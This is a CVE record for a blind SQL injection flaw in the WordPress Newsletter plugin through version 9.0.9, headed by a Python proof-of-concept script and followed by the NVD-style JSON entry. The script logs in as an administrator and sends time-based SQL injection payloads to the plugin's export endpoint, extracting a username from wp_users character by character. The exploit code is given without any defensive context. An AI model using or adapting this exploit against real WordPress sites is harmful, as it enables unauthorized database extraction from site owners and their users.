CVE-2025-67999

import requests import time target = "http://target-wordpress-site.com" # Authentication with high-privilege account session = requests.Session() login_url = f"{target}/wp-login.php" session.post(login_url, data={ "log": "admin_username", "pwd": "admin_password", "wp-submit": "Log In" }) # Blind SQL Injection PoC - Extract database user def extract_char(position, char_ascii): endpoint = f"{target}/wp-admin/admin.php?page=newsletter&action=export" # Payload: Check if ASCII code of char at position matches payload = f"1' AND ASCII(SUBSTRING((SELECT user_login FROM wp_users LIMIT 1),{position},1))={char_ascii} AND SLEEP(3)---" data = {"newsletter": payload} start = time.time() response = session.post(endpoint, data=data, timeout=10) elapsed = time.time() - start return elapsed >= 3 # Extract username character by character username = "" for pos in range(1, 33): for ascii_val in range(33, 127): if extract_char(pos, ascii_val): username += chr(ascii_val) print(f"Position {pos}: {chr(ascii_val)}") break print(f"Extracted username: {username}")

{"cve": {"id": "CVE-2025-67999", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:16:00.800", "lastModified": "2026-04-27T18:16:53.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Stefano Lissa Newsletter newsletter allows Blind SQL Injection.This issue affects Newsletter: from n/a through <= 9.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/newsletter/vulnerability/wordpress-newsletter-plugin-9-0-9-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}